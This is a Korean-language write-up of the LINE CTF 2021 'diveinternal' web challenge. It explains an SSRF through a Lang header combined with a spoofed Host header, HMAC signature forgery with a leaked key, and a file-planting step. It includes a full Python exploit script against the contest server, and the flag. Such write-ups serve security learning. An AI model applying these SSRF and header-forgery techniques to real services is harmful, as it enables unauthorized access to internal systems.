[Clear] LINE CTF 2021 diveinternal Writeup
주어진 페이지에 접근해보자.
비트코인 관련 페이지인데, 사용자 입장에서 액션을 취할 수 있는 기능은 이메일을 입력하여 구독하는 것 뿐이었다. 이를 참고하여 주어진
파일을 분석해보자.
우선 주어진 파일의 구성을 통해 해당 서버는 Public, Private로 나뉘어있음을 알 수 있다.
여기서 첫 번째 문제점은 가장 핵심적인 내용을 담고 있는 main.py 를 보면 다양한 기능이 있지만 Public에서는 /coin, /addsub 이외의 기능은 사용이 불가하다.
가장 의심스러웠던 메일을 통한 구독 기능, 즉, /addsub 의 로직을 분석해보았지만 별다른 특이점은 없었다.
그렇다면, 플래그를 출력해주는 부분을 찾아서 역추적을 해보도록 하자.
rollback.py에 아래 부분에서 플래그를 출력해줌을 알 수 있고
위의 RunRollbackDB 메소드를 호출하려면 /rollback 을 호출하여야 한다. (result의 IntegrityCheck 에서 RunRollbackDB 호출)
앞서 확인 한 것 처럼 public에서는 /rollback을 직접 호출 할 수 없으니 SSRF 공격이 가능한 지점이 있는지 확인해보자.
/addsub 외에 public에서 접근 가능했던 /coin 로직을 분석해보자.
LanguageNomarize 메소드의 결과 값을 "Lang" 헤더의 값으로 반환해주는데, LanguageNomarize 함수를 보면 requests.get 을 사용하는 부분이 있다. 이를 통해 SSRF를 시도해보자.
data = requests.get(request.host_url+language, headers=request.headers) # SSRF
구체적인 풀이에 앞서 LanguageNomarize 메소드가 정상적으로 작동하는지, BurpSuite를 이용해 Request Packet에서
Lang 헤더의 값을 변조하여 테스트해보았다.
첫 번째 과제는 어떻게 SSRF를 통해 Private 영역의 기능들을 호출할 것인가? 이다.
def LanguageNomarize(request):
if request.headers.get('Lang') is None:
return "en"
else:
regex = '^[!@#$\\/.].*/.*' # Easy~~
language = request.headers.get('Lang')
language = re.sub(r'%00|%0d|%0a|[!@#$^]|\.\./', '', language)
if re.search(regex,language):
return request.headers.get('Lang')
try:
data = requests.get(request.host_url+language, headers=request.headers)
##### SSRF Point!
if data.status_code == 200:
return data.text
else:
return request.headers.get('Lang')
except:
return request.headers.get('Lang')
SSRF 포인트로 의심되는 부분을 보면 request.get 메소드를 통해 request.host_url 에 우리의 입력 값인 language가 더해져 요청된다.
로컬에서 테스트 결과 현재 request.host_url의 값은 public 영역의 url 이었다.
하지만, request.host_url의 값은 Host 헤더의 영향을 받으므로 Host 헤더의 값을 Private의 URL로 변조하여 SSRF를 발생 시킬 수 있다.
이제 /rollback을 호출해보자.
{"message": "Not Allowed"} 라는 값이 Return 된다. 해당 메시지가 어떤 경우에 안내되는지를 파악해보자.
@app.route('/rollback', methods=['GET'])
def rollback():
try:
if request.headers.get('Sign') == None:
return json.dumps(status['sign']) ##### {"message": "Not Allowed"}
else:
if SignCheck(request):
pass
else:
return json.dumps(status['sign']) ##### {"message": "Not Allowed"}
if request.headers.get('Key') == None:
return json.dumps(status['key']) ##### 'key' : {'message': 'Key error'}
result = activity.IntegrityCheck(request.headers.get('Key'),request.args.get('dbhash'))
return result
except Exception as e :
err = 'Error On {f} : {c}, Message, {m}, Error on line {l}'.format(f = sys._getframe().f_code.co_name ,c = type(e).__name__, m = str(e), l = sys.exc_info()[-1].tb_lineno)
logger.error(err)
return json.dumps(status['error']), 404
/rollback 의 코드롤 돌아와서, Sign이라는 헤더가 있어야 하고 SignCheck 라는 메소드를 만족해야함을 알 수 있다. 또한 이 Sign의 로직은
privateKey와 request.query_string 을 통해 해시 값을 생성 후 이 해시 값이 Sign헤더와 같을 시 True를 반환해준다. privateKey는 main.py에 선언되어 있고 request.query_string은 요청되는 url의 ? 이후의 값이므로
(ex. http://URL/?param1=param 의 경우 request.query_string => param1=param)
로컬에서 해당 조건을 맞춰준 후 Sign헤더에 보내주면 될 것이다.
SignCheck을 만족하더라도, key error가 발생하는 것을 방지해야하므로 Key헤더에 값이 존재해야하며, 그 값이 IntegrityCheck 메소드에 사용된다. IntegrityCheck 메소드를 분석해보자.
우선 self.integrityKey와 Key헤더의 값이 같아야 한다.
self.integrityKey = hashlib.sha512((self.dbHash).encode('ascii')).hexdigest()
self.integrityKey는 위와 같이 선언되어있다. dbHash는 /integrityStatus를 통해 알 수 있으므로 로컬에서 계산 후 Key 헤더에 삽입하면 될 것이다.
self.dbHash와 rollback요청 시의 dbhash 파라미터 값이 다르게 하면 드디어 RunRollbackDB 메소드가 실행된다. 이를 분석해보자.
backup/+dbhash 라는 파일이 존재해야 비로소 플래그를 획득 할 수 있지만.. 파일명을 알기 어렵고 심지어 RunbackupDB를 통해 /backup 디렉토리 안의 파일들을 삭제한다.
또 하나의 과제는 backup 디렉토리 안에 숫자혹은문자로만 이루어진( isalnum() ) 파일이 존재하도록 해야 한다는 점이다.
이 문제의 해결 법은 아직 이용하지 않은 기능인 /download 를 통해 해결 할 수 있다.
/download는 /rollback과 마찬가지로 SignCheck의 과정을 거친 후 src 파라미터의 값을 이용해 WriteFile을 수행한다.
WriteFile은 url형식의 사용자 입력값을 받아, (src 파라미터는 url형식이어야 할 것이다.) 해당 url과의 통신이 원활하다면 (r.raise_for_status) backup 디렉토리 안에 url의 마지막 부분을 이름으로 하여 파일을 생성한다. (local_filename = url.spilit('/')[-1])
이로써 플래그 획득을 위한 모든 조건을 만족시킬 수 있게 되었다.
정리하면,
1. /apis/coin을 호출 할 때 Host 헤더를 pirvate url 로 변조하면 Lang 파라미터에 원하는 요청을 삽입하여 SSRF 가 가능하다. [전제 조건]
2. /download를 통해 숫자혹은문자로 이루어진 파일 명을 가진 파일을 생성하자.
3. /rollback을 호출하여 플래그를 획득하자.
위 모든 과정을 exploit 코드로 작성하면 다음과 같다.
import hmac
import hashlib
import requests
url = 'http://35.190.234.195/apis/'
#url = 'http://localhost:12004/apis'
Key = hashlib.sha512(('a176dd8c1e2064a88e881acf4487a43b').encode('ascii')).hexdigest() ### Put integrityStatus()'s Result Value
print('Key : ' + Key)
def sign(KEY):
privateKey = b'let\'sbitcorinparty'
EN = hmac.new( privateKey , KEY.encode('utf-8'), hashlib.sha512 )
return EN.hexdigest()
def integrityStatus():
headers = {'Host':'localhost:5000', 'Lang':'/integrityStatus'}
res = requests.get(url+'coin', headers=headers)
print('Headers in /apis/integreityStatus : ' + res.headers['lang'])
def rollback():
headers = {'Host':'localhost:5000', 'Lang':'/rollback?dbhash=aaa123', 'Sign':sign('dbhash=aaa123'), 'Key':Key} ### dbhash(parameter) != self.dbhash
res = requests.get(url+'coin', headers=headers)
print('Headers in /apis/rollback : ' + res.headers['lang'])
def download():
headers = {'Host':'localhost:5000', 'Lang':'download?src=https://encycolorpedia.kr/aaa123', 'Sign':sign('src=https://encycolorpedia.kr/aaa123')} ### filename = dbhash / Find URL
res = requests.get(url+'coin', headers=headers)
print('Headers in /apis/download : ' + res.headers['lang'])
if __name__ == '__main__':
download()
integrityStatus()
rollback()
위 코드를 실행하여 플래그를 획득 할 수 있다.
FLAG = LINECTF{YOUNGCHAYOUNGCHABITCOINADAMYMONEYISBURNING}